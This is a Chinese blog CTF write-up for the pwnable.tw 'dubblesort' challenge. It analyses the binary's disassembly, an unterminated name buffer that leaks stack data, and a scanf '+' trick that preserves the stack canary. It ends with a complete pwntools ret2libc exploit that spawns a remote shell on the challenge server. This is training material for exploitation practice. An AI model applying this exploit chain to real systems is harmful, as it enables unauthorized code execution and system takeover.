美文网首页CTF Re&&Pwn
【CTF-PWN】pwnable.tw_dubblesort

【CTF-PWN】pwnable.tw_dubblesort

作者: Kirin_say | 来源:发表于2018-06-05 17:22 被阅读11次

    pwnable.tw_challenge_dubblesort

    首先运行一下大概了解程序的流程:

    运行结果
    What your name :kirin
    Hello kirin
    ��/,How many numbers do you what to sort :3
    Enter the 0 number : 4  
    Enter the 1 number : 5
    Enter the 2 number : 6
    Processing......
    Result :
    4 5 6 
    

    首先是传入一个name
    而后需要我们指出需要排序的数字个数
    而后需要我们依次输入需要排序的数字
    最后程序给出排序好的result
    不过这里发现一个问题,有些名字后存在其他字符(类似乱码)
    猜测这里应该是字符串00结尾没有处理好而泄露了名字后的部分数据
    先记下这个问题
    下面载入IDA分析:

    0x01 main

    push    ebp
    mov     ebp, esp
    push    edi
    push    esi
    push    ebx
    and     esp, 0FFFFFFF0h
    add     esp, 0FFFFFF80h
    call    sub_5662B750
    add     ebx, 15CCh
    mov     eax, large gs:14h
    mov     [esp+7Ch], eax
    xor     eax, eax
    call    sub_5662B8B5
    

    可以看出这里:

    开启了canary保护:mov     eax, large gs:14h
    调用了一个sub_5662B8B5函数(一个计时器)
    可以直接绕过这个计时器来动态分析:
    call    sub_5662B8B5改为nop
    或者:在call地址后的首句push ebp改为retn
    或者:类似方法去除程序对alarm/signal的调用
    或者:直接改变alarm的参数(加长时间)
    或者:调试到alarm时set新的ip跳过call alarm
    在gdb中可以忽略中间信号来绕过计时器:
    i handle SIGALRM
    handle SIGALRM nopass
    

    下面:
    输出"What your name :":

    .text:5662B9EB                 lea     eax, (aWhatYourName - 5662CFA0h)[ebx] ; "What your name :"
    .text:5662B9F1                 mov     [esp+4], eax
    .text:5662B9F5                 mov     dword ptr [esp], 1
    .text:5662B9FC                 call    ___printf_chk
    

    从输入流读入0x40长度(输入流结尾自动停止读入)的字节到esp+8Ch+buf处:

    .text:5662BA01                 mov     dword ptr [esp+8], 40h ; '@' ; nbytes
    .text:5662BA09                 lea     esi, [esp+8Ch+buf]
    .text:5662BA0D                 mov     [esp+4], esi    ; buf
    .text:5662BA11                 mov     dword ptr [esp], 0 ; fd
    .text:5662BA18                 call    _read
    

    输出"Hello %s,How many numbers do you what to sort :":

    mov     [esp+8], esi
    lea     eax, (aHelloSHowManyN - 5662CFA0h)[ebx] ; "Hello %s,How many numbers do you what t"...
    mov     [esp+4], eax
    mov     dword ptr [esp], 1
    call    ___printf_chk
    

    使用scanf读入一个unsigned型数(所需排序个数):

    .text:5662BA37                 lea     eax, [esp+18h]
    .text:5662BA3B                 mov     [esp+4], eax
    .text:5662BA3F                 lea     eax, (aU - 5662CFA0h)[ebx] ; "%u"
    .text:5662BA45                 mov     [esp], eax
    .text:5662BA48                 call    ___isoc99_scanf
    

    接下来再调用scanf读入相应个数的unsigned并调用一个冒泡排序:sub_5662B931
    最终输出结果

    0x02 漏洞

    0x01 字符串结尾\x00截断问题

    首先就是开始时候的name可以泄露栈内数据:
    当我们输入:"aaaa"
    程序输出:

    aaaa
    看一下栈内数据:

    可以看到buff内数据是aaaa+'\n',而后面没有对字符串结尾加上00进行截断,导致后面的FFBA4B00上的数据在换行之后也输出了,直到遇到FFBA4804处的"\x00"
    0x02 scanf读取unsigned数时非法字符问题

    测试代码:

    #include<stdio.h>
    int main()
    {int i;
    while(~scanf("%u",&i))
    printf("%u\n",i);
    }
    

    当输入一个非法字符时,其可能会因输入流问题直接输出栈上数据:

    当输入"+-"这类数字本身中就有("+-"代表正负)的字符,则输出栈上数据
    +
    32764
    -
    32764
    当输入"abc......"这类非法字符,因为输入流问题,这里没有成功scanf,便不断printf数据
    a
    32764
    32764
    32764
    32764
    .......
    

    在程序中测试:

     ./dubblesort
    What your name :kirin
    Hello kirin
    ��/,How many numbers do you what to sort :5
    Enter the 0 number : +
    Enter the 1 number : +
    Enter the 2 number : + 
    Enter the 3 number : +
    Enter the 4 number : +
    Processing......
    Result :
    0 1 12779520 4158922506 4291112735
    

    我们输入前栈中v13(保存需要排序的数字)处的数据分布:

    v13
    排序输出后:
    v13
    可以看到我们这里输入"+"并不改变栈内数据,而是对其中的数据重新排序
    0x03 ret2libc

    首先使用chechsec看一下程序的保护机制:

    checksec ./dubblesort
    
    checksec

    可以看到全部开启
    考虑到调试过程发现其加载了libc库以及:

    objdump -R ./dubblesort
    
    objdump

    这里我们可以利用ret2libc执行system("/bin/sh")来获取shell
    我们需要:

    对方环境下libc动态库中函数system的偏移量
    对方环境下libc动态库中字符串"\bin\sh"的偏移量
    程序加载libc库的基地址
    合理布置栈来执行函数
    
    0x01 system的偏移量

    利用题目给出的库文件:

    readelf -s ./libc_32.so.6|grep system
    
    245: 00110690    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
    627: 0003a940    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
    1457: 0003a940    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
    

    所以:

    system_off = 0x3a940
    
    0x02 "\bin\sh"的偏移量
    hexdump -C ./libc_32.so.6|grep  /bin -A 1  #防止换行所以只grep /bin 而后显示后一行
    

    找到了:

    00158e80  74 6f 64 5f 6c 2e 63 00  2d 63 00 2f 62 69 6e 2f  |tod_l.c.-c./bin/|
    00158e90  73 68 00 65 78 69 74 20  30 00 63 61 6e 6f 6e 69  |sh.exit 0.canoni|
    

    所以:

    bin_sh_off = 0x158e8b
    
    0x03 程序加载libc库的基地址

    若要获取基地址,便要得到一个相对基地址偏移量固定的地址
    而能泄露数据的只有name和最后的排序处
    但排序处会直接结束进程
    我们需要利用排序前的scanf来布置栈空间
    所以这里只能利用name泄露buf后某个栈内地址
    动态调试看一下name后的栈内数据:


    buf

    可以看到第七和第八个数据都在libc中
    接着调试后锁定第七个数据:
    看一下这次载入libc的地址:


    libc
    第七位地址的相对位移:
    off=0xf7f70000-0xf7dbe000=0x1b2000
    

    注意:这里的偏移地址是相对于本地的libc-2.23.so文件

    readelf -S ./libc-2.23.so
    
    libc

    看到这里的对应偏移位置是:

    .got.plt
    

    对应远程的libc文件的.got.plt的偏移地址为:


    libc
    0x1b0000
    
    栈中数据构造

    这里需要注意:
    栈内数据写入后会被排序
    所以我们要让排序后的栈内:

    cannary处 -> 输入加号使其保持不变
    返回地址处 -> system_addr
    返回地址后一个单位 -> system的返回地址(随意填写,不过注意大小问题,这里直接填入system_addr或者bin_sh_addr)
    返回地址后第二位 -> bin_sh_addr
    

    一般情况下这几个数便是从小到大排列(除非canary随机到很大)
    所以我们:

    首先将数字正常的栈空间覆盖为0(调试后是24位)
    canary处:"+"
    canary到返回地址间覆盖为system_addr
    返回地址后一位system函数返回地址处覆盖为system_addr或者bin_sh_addr
    再后一位覆盖为bin_sh_addr
    

    不过当输入字符来利用name获得.got.plt地址时总是出错
    调试后发现,这个地址末位总是00,造成了截断,所以需要多输入一位来使用换行符(chr(0xa))来覆盖这里(在后面计算地址的时候再减去0xa)

    0x03 EXP

    from pwn import *
    
    got_off = 0x1b0000
    system_off = 0x3a940
    bin_sh_off = 0x158e8b
    
    p = remote("chall.pwnable.tw",10101)
    p.recv()
    p.sendline('a'*24)
    got_addr = u32(p.recv()[30:34])-0xa
    libc_addr = got_addr-got_off
    system_addr = libc_addr + system_off
    bin_sh_addr = libc_addr + bin_sh_off
    p.sendline('35')
    p.recv()
    for i in range(24):
        p.sendline('0')
        p.recv()
    p.sendline('+')
    p.recv()
    for i in range(9):
        p.sendline(str(system_addr))
        p.recv()
    p.sendline(str(bin_sh_addr))
    p.recv()
    p.interactive()
    

    相关文章

      网友评论

        本文标题:【CTF-PWN】pwnable.tw_dubblesort

        本文链接:https://www.haomeiwen.com/subject/okcksftx.html